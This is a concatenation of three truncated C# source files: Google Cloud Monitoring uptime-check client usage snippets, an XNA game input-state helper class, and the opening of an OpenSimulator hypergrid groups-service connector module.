{ // Do something with each page of items Console.WriteLine("A page of results:"); foreach (UptimeCheckConfig item in page) { Console.WriteLine(item); } } // Or retrieve a single page of known size (unless it's the final page), performing as many RPCs as required int pageSize = 10; Page<UptimeCheckConfig> singlePage = response.ReadPage(pageSize); // Do something with the page of items Console.WriteLine($"A page of {pageSize} results (unless it's the final page):"); foreach (UptimeCheckConfig item in singlePage) { Console.WriteLine(item); } // Store the pageToken, for when the next page is required. string nextPageToken = singlePage.NextPageToken; // End snippet } /// <summary>Snippet for ListUptimeCheckConfigsAsync</summary> public async Task ListUptimeCheckConfigsAsync_RequestObject() { // Snippet: ListUptimeCheckConfigsAsync(ListUptimeCheckConfigsRequest,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) ListUptimeCheckConfigsRequest request = new ListUptimeCheckConfigsRequest { Parent = new ProjectName("[PROJECT]").ToString(), }; // Make the request PagedAsyncEnumerable<ListUptimeCheckConfigsResponse, UptimeCheckConfig> response = uptimeCheckServiceClient.ListUptimeCheckConfigsAsync(request); // Iterate over all response items, lazily performing RPCs as required await response.ForEachAsync((UptimeCheckConfig item) => { // Do something with each item Console.WriteLine(item); }); // Or iterate over pages (of server-defined size), performing one RPC per page await response.AsRawResponses().ForEachAsync((ListUptimeCheckConfigsResponse page) => { // Do something with each page of items Console.WriteLine("A page of results:"); foreach (UptimeCheckConfig item in page) { Console.WriteLine(item); } }); // Or retrieve a single page of known size (unless it's the final page), performing as many RPCs as required int pageSize = 10; Page<UptimeCheckConfig> singlePage = await response.ReadPageAsync(pageSize); // Do something with the page of items Console.WriteLine($"A page of {pageSize} results (unless it's the final page):"); foreach (UptimeCheckConfig item in singlePage) { Console.WriteLine(item); } // Store the pageToken, for when the next page is required. string nextPageToken = singlePage.NextPageToken; // End snippet } /// <summary>Snippet for ListUptimeCheckConfigs</summary> public void ListUptimeCheckConfigs_RequestObject() { // Snippet: ListUptimeCheckConfigs(ListUptimeCheckConfigsRequest,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) ListUptimeCheckConfigsRequest request = new ListUptimeCheckConfigsRequest { Parent = new ProjectName("[PROJECT]").ToString(), }; // Make the request PagedEnumerable<ListUptimeCheckConfigsResponse, UptimeCheckConfig> response = uptimeCheckServiceClient.ListUptimeCheckConfigs(request); // Iterate over all response items, lazily performing RPCs as required foreach (UptimeCheckConfig item in response) { // Do something with each item Console.WriteLine(item); } // Or iterate over pages (of server-defined size), performing one RPC per page foreach (ListUptimeCheckConfigsResponse page in response.AsRawResponses()) { // Do something with each page of items Console.WriteLine("A page of results:"); foreach (UptimeCheckConfig item in page) { Console.WriteLine(item); } } // Or retrieve a single page of known size (unless it's the final page), performing as many RPCs as required int pageSize = 10; Page<UptimeCheckConfig> singlePage = response.ReadPage(pageSize); // Do something with the page of items Console.WriteLine($"A page of {pageSize} results (unless it's the final page):"); foreach (UptimeCheckConfig item in singlePage) { Console.WriteLine(item); } // Store the pageToken, for when the next page is required. string nextPageToken = singlePage.NextPageToken; // End snippet } /// <summary>Snippet for GetUptimeCheckConfigAsync</summary> public async Task GetUptimeCheckConfigAsync() { // Snippet: GetUptimeCheckConfigAsync(string,CallSettings) // Additional: GetUptimeCheckConfigAsync(string,CancellationToken) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) string formattedName = new UptimeCheckConfigName("[PROJECT]", "[UPTIME_CHECK_CONFIG]").ToString(); // Make the request UptimeCheckConfig response = await uptimeCheckServiceClient.GetUptimeCheckConfigAsync(formattedName); // End snippet } /// <summary>Snippet for GetUptimeCheckConfig</summary> public void GetUptimeCheckConfig() { // Snippet: GetUptimeCheckConfig(string,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) string formattedName = new UptimeCheckConfigName("[PROJECT]", "[UPTIME_CHECK_CONFIG]").ToString(); // Make the request UptimeCheckConfig response = uptimeCheckServiceClient.GetUptimeCheckConfig(formattedName); // End snippet } /// <summary>Snippet for GetUptimeCheckConfigAsync</summary> public async Task GetUptimeCheckConfigAsync_RequestObject() { // Snippet: GetUptimeCheckConfigAsync(GetUptimeCheckConfigRequest,CallSettings) // Additional: GetUptimeCheckConfigAsync(GetUptimeCheckConfigRequest,CancellationToken) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) GetUptimeCheckConfigRequest request = new GetUptimeCheckConfigRequest { Name = new UptimeCheckConfigName("[PROJECT]", "[UPTIME_CHECK_CONFIG]").ToString(), }; // Make the request UptimeCheckConfig response = await uptimeCheckServiceClient.GetUptimeCheckConfigAsync(request); // End snippet } /// <summary>Snippet for GetUptimeCheckConfig</summary> public void GetUptimeCheckConfig_RequestObject() { // Snippet: GetUptimeCheckConfig(GetUptimeCheckConfigRequest,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) GetUptimeCheckConfigRequest request = new GetUptimeCheckConfigRequest { Name = new UptimeCheckConfigName("[PROJECT]", "[UPTIME_CHECK_CONFIG]").ToString(), }; // Make the request UptimeCheckConfig response = uptimeCheckServiceClient.GetUptimeCheckConfig(request); // End snippet } /// <summary>Snippet for CreateUptimeCheckConfigAsync</summary> public async Task CreateUptimeCheckConfigAsync() { // Snippet: CreateUptimeCheckConfigAsync(string,UptimeCheckConfig,CallSettings) // Additional: CreateUptimeCheckConfigAsync(string,UptimeCheckConfig,CancellationToken) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) string formattedParent = new ProjectName("[PROJECT]").ToString(); UptimeCheckConfig uptimeCheckConfig = new UptimeCheckConfig(); // Make the request UptimeCheckConfig response = await uptimeCheckServiceClient.CreateUptimeCheckConfigAsync(formattedParent, uptimeCheckConfig); // End snippet } /// <summary>Snippet for CreateUptimeCheckConfig</summary> public void CreateUptimeCheckConfig() { // Snippet: CreateUptimeCheckConfig(string,UptimeCheckConfig,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) string formattedParent = new ProjectName("[PROJECT]").ToString(); UptimeCheckConfig uptimeCheckConfig = new UptimeCheckConfig(); // Make the request UptimeCheckConfig response = uptimeCheckServiceClient.CreateUptimeCheckConfig(formattedParent, uptimeCheckConfig); // End snippet } /// <summary>Snippet for CreateUptimeCheckConfigAsync</summary> public async Task CreateUptimeCheckConfigAsync_RequestObject() { // Snippet: CreateUptimeCheckConfigAsync(CreateUptimeCheckConfigRequest,CallSettings) // Additional: CreateUptimeCheckConfigAsync(CreateUptimeCheckConfigRequest,CancellationToken) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) CreateUptimeCheckConfigRequest request = new CreateUptimeCheckConfigRequest { Parent = new ProjectName("[PROJECT]").ToString(), UptimeCheckConfig = new UptimeCheckConfig(), }; // Make the request UptimeCheckConfig response = await uptimeCheckServiceClient.CreateUptimeCheckConfigAsync(request); // End snippet } /// <summary>Snippet for CreateUptimeCheckConfig</summary> public void CreateUptimeCheckConfig_RequestObject() { // Snippet: CreateUptimeCheckConfig(CreateUptimeCheckConfigRequest,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) CreateUptimeCheckConfigRequest request = new CreateUptimeCheckConfigRequest { Parent = new ProjectName("[PROJECT]").ToString(), UptimeCheckConfig = new UptimeCheckConfig(), }; // Make the request UptimeCheckConfig response = uptimeCheckServiceClient.CreateUptimeCheckConfig(request); // End snippet } /// <summary>Snippet for UpdateUptimeCheckConfigAsync</summary> public async Task UpdateUptimeCheckConfigAsync() { // Snippet: UpdateUptimeCheckConfigAsync(UptimeCheckConfig,CallSettings) // Additional: UpdateUptimeCheckConfigAsync(UptimeCheckConfig,CancellationToken) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) UptimeCheckConfig uptimeCheckConfig = new UptimeCheckConfig(); // Make the request UptimeCheckConfig response = await uptimeCheckServiceClient.UpdateUptimeCheckConfigAsync(uptimeCheckConfig); // End snippet } /// <summary>Snippet for UpdateUptimeCheckConfig</summary> public void UpdateUptimeCheckConfig() { // Snippet: UpdateUptimeCheckConfig(UptimeCheckConfig,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) UptimeCheckConfig uptimeCheckConfig = new UptimeCheckConfig(); // Make the request UptimeCheckConfig response = uptimeCheckServiceClient.UpdateUptimeCheckConfig(uptimeCheckConfig); // End snippet } /// <summary>Snippet for UpdateUptimeCheckConfigAsync</summary> public async Task UpdateUptimeCheckConfigAsync_RequestObject() { // Snippet: UpdateUptimeCheckConfigAsync(UpdateUptimeCheckConfigRequest,CallSettings) // Additional: UpdateUptimeCheckConfigAsync(UpdateUptimeCheckConfigRequest,CancellationToken) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) UpdateUptimeCheckConfigRequest request = new UpdateUptimeCheckConfigRequest { UptimeCheckConfig = new UptimeCheckConfig(), }; // Make the request UptimeCheckConfig response = await uptimeCheckServiceClient.UpdateUptimeCheckConfigAsync(request); // End snippet } /// <summary>Snippet for UpdateUptimeCheckConfig</summary> public void UpdateUptimeCheckConfig_RequestObject() { // Snippet: UpdateUptimeCheckConfig(UpdateUptimeCheckConfigRequest,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) UpdateUptimeCheckConfigRequest request = new UpdateUptimeCheckConfigRequest { UptimeCheckConfig = new UptimeCheckConfig(), }; // Make the request UptimeCheckConfig response = uptimeCheckServiceClient.UpdateUptimeCheckConfig(request); // End snippet } /// <summary>Snippet for DeleteUptimeCheckConfigAsync</summary> public async Task DeleteUptimeCheckConfigAsync() { // Snippet: DeleteUptimeCheckConfigAsync(string,CallSettings) // Additional: DeleteUptimeCheckConfigAsync(string,CancellationToken) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) string formattedName = new UptimeCheckConfigName("[PROJECT]", "[UPTIME_CHECK_CONFIG]").ToString(); // Make the request await uptimeCheckServiceClient.DeleteUptimeCheckConfigAsync(formattedName); // End snippet } /// <summary>Snippet for DeleteUptimeCheckConfig</summary> public void DeleteUptimeCheckConfig() { // Snippet: DeleteUptimeCheckConfig(string,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) string formattedName = new UptimeCheckConfigName("[PROJECT]", "[UPTIME_CHECK_CONFIG]").ToString(); // Make the request uptimeCheckServiceClient.DeleteUptimeCheckConfig(formattedName); // End snippet } /// <summary>Snippet for DeleteUptimeCheckConfigAsync</summary> public async Task DeleteUptimeCheckConfigAsync_RequestObject() { // Snippet: DeleteUptimeCheckConfigAsync(DeleteUptimeCheckConfigRequest,CallSettings) // Additional: DeleteUptimeCheckConfigAsync(DeleteUptimeCheckConfigRequest,CancellationToken) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) DeleteUptimeCheckConfigRequest request = new DeleteUptimeCheckConfigRequest { Name = new UptimeCheckConfigName("[PROJECT]", "[UPTIME_CHECK_CONFIG]").ToString(), }; // Make the request await uptimeCheckServiceClient.DeleteUptimeCheckConfigAsync(request); // End snippet } /// <summary>Snippet for DeleteUptimeCheckConfig</summary> public void DeleteUptimeCheckConfig_RequestObject() { // Snippet: DeleteUptimeCheckConfig(DeleteUptimeCheckConfigRequest,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) DeleteUptimeCheckConfigRequest request = new DeleteUptimeCheckConfigRequest { Name = new UptimeCheckConfigName("[PROJECT]", "[UPTIME_CHECK_CONFIG]").ToString(), }; // Make the request uptimeCheckServiceClient.DeleteUptimeCheckConfig(request); // End snippet } /// <summary>Snippet for ListUptimeCheckIpsAsync</summary> public async Task ListUptimeCheckIpsAsync_RequestObject() { // Snippet: ListUptimeCheckIpsAsync(ListUptimeCheckIpsRequest,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = await UptimeCheckServiceClient.CreateAsync(); // Initialize request argument(s) ListUptimeCheckIpsRequest request = new ListUptimeCheckIpsRequest(); // Make the request PagedAsyncEnumerable<ListUptimeCheckIpsResponse, UptimeCheckIp> response = uptimeCheckServiceClient.ListUptimeCheckIpsAsync(request); // Iterate over all response items, lazily performing RPCs as required await response.ForEachAsync((UptimeCheckIp item) => { // Do something with each item Console.WriteLine(item); }); // Or iterate over pages (of server-defined size), performing one RPC per page await response.AsRawResponses().ForEachAsync((ListUptimeCheckIpsResponse page) => { // Do something with each page of items Console.WriteLine("A page of results:"); foreach (UptimeCheckIp item in page) { Console.WriteLine(item); } }); // Or retrieve a single page of known size (unless it's the final page), performing as many RPCs as required int pageSize = 10; Page<UptimeCheckIp> singlePage = await response.ReadPageAsync(pageSize); // Do something with the page of items Console.WriteLine($"A page of {pageSize} results (unless it's the final page):"); foreach (UptimeCheckIp item in singlePage) { Console.WriteLine(item); } // Store the pageToken, for when the next page is required. string nextPageToken = singlePage.NextPageToken; // End snippet } /// <summary>Snippet for ListUptimeCheckIps</summary> public void ListUptimeCheckIps_RequestObject() { // Snippet: ListUptimeCheckIps(ListUptimeCheckIpsRequest,CallSettings) // Create client UptimeCheckServiceClient uptimeCheckServiceClient = UptimeCheckServiceClient.Create(); // Initialize request argument(s) ListUptimeCheckIpsRequest request = new ListUptimeCheckIpsRequest(); // Make the request PagedEnumerable<ListUptimeCheckIpsResponse, UptimeCheckIp> response = uptimeCheckServiceClient.ListUptimeCheckIps(request); // Iterate over all response items, lazily performing RPCs as required foreach (UptimeCheckIp item in response) { // Do something with each item Console.WriteLine(item); } // Or iterate over pages (of server-defined size), performing one RPC per page foreach (ListUptimeCheckIpsResponse page in response.AsRawResponses()) { // Do something with each page of items Console.WriteLine("A page of results:"); foreach (UptimeCheckIp item in page) { Console.WriteLine(item); } } // Or retrieve a single page of known size (unless it's the final page), performing as many RPCs as required int pageSize = 10; Page<UptimeCheckIp> singlePage = response.ReadPage(pageSize); // Do something with the page of items Console.WriteLine($"A page of {pageSize} results (unless it's the final page):"); foreach (UptimeCheckIp item in singlePage) { Console.WriteLine(item); } // Store the pageToken, for when the next page is required. string nextPageToken = singlePage.NextPageToken; // End snippet } } }
#region File Description //----------------------------------------------------------------------------- // InputState.cs // // Microsoft XNA Community Game Platform // Copyright (C) Microsoft Corporation. All rights reserved. //----------------------------------------------------------------------------- #endregion #region Using Statements using Microsoft.Xna.Framework; using Microsoft.Xna.Framework.Input; using Microsoft.Xna.Framework.Input.Touch; using System.Collections.Generic; #endregion namespace OurCity { /// <summary> /// Helper for reading input from keyboard, gamepad, and touch input. This class /// tracks both the current and previous state of the input devices, and implements /// query methods for high level input actions such as "move up through the menu" /// or "pause the game". /// </summary> public class InputState { #region Fields public const int MaxInputs = 4; public readonly KeyboardState[] CurrentKeyboardStates; public readonly GamePadState[] CurrentGamePadStates; public readonly KeyboardState[] LastKeyboardStates; public readonly GamePadState[] LastGamePadStates; public readonly bool[] GamePadWasConnected; public TouchCollection TouchState; public readonly List<GestureSample> Gestures = new List<GestureSample>(); #endregion #region Initialization /// <summary> /// Constructs a new input state. /// </summary> public InputState() { CurrentKeyboardStates = new KeyboardState[MaxInputs]; CurrentGamePadStates = new GamePadState[MaxInputs]; LastKeyboardStates = new KeyboardState[MaxInputs]; LastGamePadStates = new GamePadState[MaxInputs]; GamePadWasConnected = new bool[MaxInputs]; } #endregion #region Public Methods /// <summary> /// Reads the latest state of the keyboard and gamepad. /// </summary> public void Update() { for (int i = 0; i < MaxInputs; i++) { LastKeyboardStates[i] = CurrentKeyboardStates[i]; LastGamePadStates[i] = CurrentGamePadStates[i]; CurrentKeyboardStates[i] = Keyboard.GetState((PlayerIndex)i); CurrentGamePadStates[i] = GamePad.GetState((PlayerIndex)i); // Keep track of whether a gamepad has ever been // connected, so we can detect if it is unplugged. if (CurrentGamePadStates[i].IsConnected) { GamePadWasConnected[i] = true; } } TouchState = TouchPanel.GetState(); Gestures.Clear(); while (TouchPanel.IsGestureAvailable) { Gestures.Add(TouchPanel.ReadGesture()); } } /// <summary> /// Helper for checking if a key was newly pressed during this update. The /// controllingPlayer parameter specifies which player to read input for. /// If this is null, it will accept input from any player. When a keypress /// is detected, the output playerIndex reports which player pressed it. /// </summary> public bool IsNewKeyPress(Keys key, PlayerIndex? controllingPlayer, out PlayerIndex playerIndex) { if (controllingPlayer.HasValue) { // Read input from the specified player. playerIndex = controllingPlayer.Value; int i = (int)playerIndex; return (CurrentKeyboardStates[i].IsKeyDown(key) && LastKeyboardStates[i].IsKeyUp(key)); } else { // Accept input from any player. return (IsNewKeyPress(key, PlayerIndex.One, out playerIndex) || IsNewKeyPress(key, PlayerIndex.Two, out playerIndex) || IsNewKeyPress(key, PlayerIndex.Three, out playerIndex) || IsNewKeyPress(key, PlayerIndex.Four, out playerIndex)); } } /// <summary> /// Helper for checking if a button was newly pressed during this update. /// The controllingPlayer parameter specifies which player to read input for. /// If this is null, it will accept input from any player. When a button press /// is detected, the output playerIndex reports which player pressed it. /// </summary> public bool IsNewButtonPress(Buttons button, PlayerIndex? controllingPlayer, out PlayerIndex playerIndex) { if (controllingPlayer.HasValue) { // Read input from the specified player. playerIndex = controllingPlayer.Value; int i = (int)playerIndex; return (CurrentGamePadStates[i].IsButtonDown(button) && LastGamePadStates[i].IsButtonUp(button)); } else { // Accept input from any player. return (IsNewButtonPress(button, PlayerIndex.One, out playerIndex) || IsNewButtonPress(button, PlayerIndex.Two, out playerIndex) || IsNewButtonPress(button, PlayerIndex.Three, out playerIndex) || IsNewButtonPress(button, PlayerIndex.Four, out playerIndex)); } } /// <summary> /// Checks for a "menu select" input action. /// The controllingPlayer parameter specifies which player to read input for. /// If this is null, it will accept input from any player. When the action /// is detected, the output playerIndex reports which player pressed it. /// </summary> public bool IsMenuSelect(PlayerIndex? controllingPlayer, out PlayerIndex playerIndex) { return IsNewKeyPress(Keys.Space, controllingPlayer, out playerIndex) || IsNewKeyPress(Keys.Enter, controllingPlayer, out playerIndex) || IsNewButtonPress(Buttons.A, controllingPlayer, out playerIndex) || IsNewButtonPress(Buttons.Start, controllingPlayer, out playerIndex); } /// <summary> /// Checks for a "menu cancel" input action. /// The controllingPlayer parameter specifies which player to read input for. /// If this is null, it will accept input from any player. When the action /// is detected, the output playerIndex reports which player pressed it. /// </summary> public bool IsMenuCancel(PlayerIndex? controllingPlayer, out PlayerIndex playerIndex) { return IsNewKeyPress(Keys.Escape, controllingPlayer, out playerIndex) || IsNewButtonPress(Buttons.B, controllingPlayer, out playerIndex) || IsNewButtonPress(Buttons.Back, controllingPlayer, out playerIndex); } /// <summary> /// Checks for a "menu up" input action. /// The controllingPlayer parameter specifies which player to read /// input for. If this is null, it will accept input from any player. /// </summary> public bool IsMenuUp(PlayerIndex? controllingPlayer) { PlayerIndex playerIndex; return IsNewKeyPress(Keys.Up, controllingPlayer, out playerIndex) || IsNewButtonPress(Buttons.DPadUp, controllingPlayer, out playerIndex) || IsNewButtonPress(Buttons.LeftThumbstickUp, controllingPlayer, out playerIndex); } /// <summary> /// Checks for a "menu down" input action. /// The controllingPlayer parameter specifies which player to read /// input for. If this is null, it will accept input from any player. /// </summary> public bool IsMenuDown(PlayerIndex? controllingPlayer) { PlayerIndex playerIndex; return IsNewKeyPress(Keys.Down, controllingPlayer, out playerIndex) || IsNewButtonPress(Buttons.DPadDown, controllingPlayer, out playerIndex) || IsNewButtonPress(Buttons.LeftThumbstickDown, controllingPlayer, out playerIndex); } /// <summary> /// Checks for a "pause the game" input action. /// The controllingPlayer parameter specifies which player to read /// input for. If this is null, it will accept input from any player. /// </summary> public bool IsPauseGame(PlayerIndex? controllingPlayer) { PlayerIndex playerIndex; return IsNewKeyPress(Keys.Escape, controllingPlayer, out playerIndex) || IsNewButtonPress(Buttons.Back, controllingPlayer, out playerIndex) || IsNewButtonPress(Buttons.Start, controllingPlayer, out playerIndex); } #endregion } }
/* * Copyright (c) Contributors, http://opensimulator.org/ * See CONTRIBUTORS.TXT for a full list of copyright holders. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the OpenSimulator Project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using log4net; using Mono.Addins; using Nini.Config; using OpenMetaverse; using OpenSim.Framework; using OpenSim.Framework.Servers; using OpenSim.Region.Framework.Interfaces; using OpenSim.Region.Framework.Scenes; using OpenSim.Services.Interfaces; using System; using System.Collections.Generic; using System.Reflection; using System.Threading; namespace OpenSim.Groups { [Extension(Path = "/OpenSim/RegionModules", NodeName = "RegionModule", Id = "GroupsServiceHGConnectorModule")] public class GroupsServiceHGConnectorModule : ISharedRegionModule, IGroupsServicesConnector { private static readonly ILog m_log = LogManager.GetLogger(MethodBase.GetCurrentMethod().DeclaringType); private RemoteConnectorCacheWrapper m_CacheWrapper; private IConfigSource m_Config; private bool m_Enabled = false; private ForeignImporter m_ForeignImporter; private IGroupsServicesConnector m_LocalGroupsConnector; private string m_LocalGroupsServiceLocation; private IMessageTransferModule m_Messaging; private Dictionary<string, GroupsServiceHGConnector> m_NetworkConnectors = new Dictionary<string, GroupsServiceHGConnector>(); private IOfflineIMService m_OfflineIM; private ReaderWriterLock m_RwLock = new ReaderWriterLock(); private List<Scene> m_Scenes; private string m_ServiceLocation; private IUserManagement m_UserManagement; // for caching info of external group services #region ISharedRegionModule public string Name { get { return "Groups HG Service Connector"; } } public Type ReplaceableInterface { get { return null; } } public void AddRegion(Scene scene) { if (!m_Enabled) return; m_log.DebugFormat("[Groups]: Registering {0} with {1}", this.Name, scene.RegionInfo.RegionName); scene.RegisterModuleInterface<IGroupsServicesConnector>(this); m_Scenes.Add(scene); scene.EventManager.OnNewClient += OnNewClient; } public void Close() { } public void Initialise(IConfigSource config) { IConfig groupsConfig = config.Configs["Groups"]; if (groupsConfig == null) return; if ((groupsConfig.GetBoolean("Enabled", false) == false) || (groupsConfig.GetString("ServicesConnectorModule", string.Empty) != Name)) { return; } m_Config = config; m_ServiceLocation = groupsConfig.GetString("LocalService", "local"); // local or remote m_LocalGroupsServiceLocation = groupsConfig.GetString("GroupsExternalURI", "http://127.0.0.1"); m_Scenes = new List<Scene>(); m_Enabled = true; m_log.DebugFormat("[Groups]: Initializing {0} with LocalService {1}", this.Name, m_ServiceLocation); } public void PostInitialise() { } public void RegionLoaded(Scene scene) { if (!m_Enabled) return; if (m_UserManagement == null) { m_UserManagement = scene.RequestModuleInterface<IUserManagement>(); m_OfflineIM = scene.RequestModuleInterface<IOfflineIMService>(); m_Messaging = scene.RequestModuleInterface<IMessageTransferModule>(); m_ForeignImporter = new ForeignImporter(m_UserManagement); if (m_ServiceLocation.Equals("local")) { m_LocalGroupsConnector = new GroupsServiceLocalConnectorModule(m_Config, m_UserManagement); // Also, if local, create the endpoint for the HGGroupsService new HGGroupsServiceRobustConnector(m_Config, MainServer.Instance, string.Empty, scene.RequestModuleInterface<IOfflineIMService>(), scene.RequestModuleInterface<IUserAccountService>()); } else m_LocalGroupsConnector = new GroupsServiceRemoteConnectorModule(m_Config, m_UserManagement); m_CacheWrapper = new RemoteConnectorCacheWrapper(m_UserManagement); } } public void RemoveRegion(Scene scene) { if (!m_Enabled) return; scene.UnregisterModuleInterface<IGroupsServicesConnector>(this); m_Scenes.Remove(scene); } #endregion ISharedRegionModule private void OnCompleteMovementToRegion(IClientAPI client, bool arg2) { object sp = null; if (client.Scene.TryGetScenePresence(client.AgentId, out sp)) { if (sp is ScenePresence && ((ScenePresence)sp).PresenceType != PresenceType.Npc) { AgentCircuitData aCircuit = ((ScenePresence)sp).Scene.AuthenticateHandler.GetAgentCircuitData(client.AgentId); if (aCircuit != null && (aCircuit.teleportFlags & (uint)Constants.TeleportFlags.ViaHGLogin) != 0 && m_OfflineIM != null && m_Messaging != null) { List<GridInstantMessage> ims = m_OfflineIM.GetMessages(aCircuit.AgentID); if (ims != null && ims.Count > 0) foreach (GridInstantMessage im in ims) m_Messaging.SendInstantMessage(im, delegate(bool success) { }); } } } } private void OnNewClient(IClientAPI client) { client.OnCompleteMovementToRegion += OnCompleteMovementToRegion; } #region IGroupsServicesConnector public bool AddAgentToGroup(string RequestingAgentID, string AgentID, UUID GroupID, UUID RoleID, string token, out string reason) { string url = string.Empty; string name = string.Empty; reason = string.Empty; UUID uid = new UUID(AgentID); if (IsLocal(GroupID, out url, out name)) { if (m_UserManagement.IsLocalGridUser(uid)) // local user { // normal case: local group, local user return m_LocalGroupsConnector.AddAgentToGroup(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID, RoleID, token, out reason); } else // local group, foreign user { // the user is accepting the invitation, or joining, where the group resides token = UUID.Random().ToString(); bool success = m_LocalGroupsConnector.AddAgentToGroup(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID, RoleID, token, out reason); if (success) { // Here we always return true. The user has been added to the local group, // independent of whether the remote operation succeeds or not url = m_UserManagement.GetUserServerURL(uid, "GroupsServerURI"); if (url == string.Empty) { reason = "You don't have an accessible groups server in your home world. You membership to this group in only within this grid."; return true; } GroupsServiceHGConnector c = GetConnector(url); if (c != null) c.CreateProxy(AgentUUI(RequestingAgentID), AgentID, token, GroupID, m_LocalGroupsServiceLocation, name, out reason); return true; } return false; } } else if (m_UserManagement.IsLocalGridUser(uid)) // local user { // foreign group, local user. She's been added already by the HG service. // Let's just check if (m_LocalGroupsConnector.GetAgentGroupMembership(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID) != null) return true; } reason = "Operation not allowed outside this group's origin world"; return false; } public bool AddAgentToGroupInvite(string RequestingAgentID, UUID inviteID, UUID groupID, UUID roleID, string agentID) { string url = string.Empty, gname = string.Empty; if (IsLocal(groupID, out url, out gname)) return m_LocalGroupsConnector.AddAgentToGroupInvite(AgentUUI(RequestingAgentID), inviteID, groupID, roleID, AgentUUI(agentID)); else return false; } public void AddAgentToGroupRole(string RequestingAgentID, string AgentID, UUID GroupID, UUID RoleID) { string url = string.Empty, gname = string.Empty; if (IsLocal(GroupID, out url, out gname)) m_LocalGroupsConnector.AddAgentToGroupRole(AgentUUI(RequestingAgentID), AgentUUI(AgentID), GroupID, RoleID); } public bool AddGroupNotice(string RequestingAgentID, UUID groupID, UUID noticeID, string fromName, string subject, string message, bool hasAttachment, byte attType, string attName, UUID attItemID, string attOwnerID) { string url = string.Empty, gname = string.Empty; if (IsLocal(groupID, out url, out gname)) { if (m_LocalGroupsConnector.AddGroupNotice(AgentUUI(RequestingAgentID), groupID, noticeID, fromName, subject, message, hasAttachment, attType, attName, attItemID, AgentUUI(attOwnerID))) { // then send the notice to every grid for which there are members in this group List<GroupMembersData> members = m_LocalGroupsConnector.GetGroupMembers(AgentUUI(RequestingAgentID), groupID); List<string> urls = new List<string>(); foreach (GroupMembersData m in members) { if (!m_UserManagement.IsLocalGridUser(m.AgentID)) { string gURL = m_UserManagement.GetUserServerURL(m.AgentID, "GroupsServerURI"); if (!urls.Contains(gURL)) urls.Add(gURL); } } // so we have the list of urls to send the notice to // this may take a long time... Util.RunThreadNoTimeout(delegate { foreach (string u in urls) { GroupsServiceHGConnector c = GetConnector(u); if (c != null) { c.AddNotice(AgentUUIForOutside(RequestingAgentID), groupID, noticeID, fromName, subject, message, hasAttachment, attType, attName, attItemID, AgentUUIForOutside(attOwnerID)); } } }, "AddGroupNotice", null); return true; } return false; } else return false; } public bool AddGroupRole(string RequestingAgentID, UUID groupID, UUID roleID, string name, string description, string title, ulong powers, out string reason) { reason = string.Empty; string url = string.Empty, gname = string.Empty; if (IsLocal(groupID, out url, out gname)) return m_LocalGroupsConnector.AddGroupRole(AgentUUI(RequestingAgentID), groupID, roleID, name, description, title, powers, out reason); else { reason = "Operation not allowed outside this group's origin world."; return false; } } public UUID CreateGroup(UUID 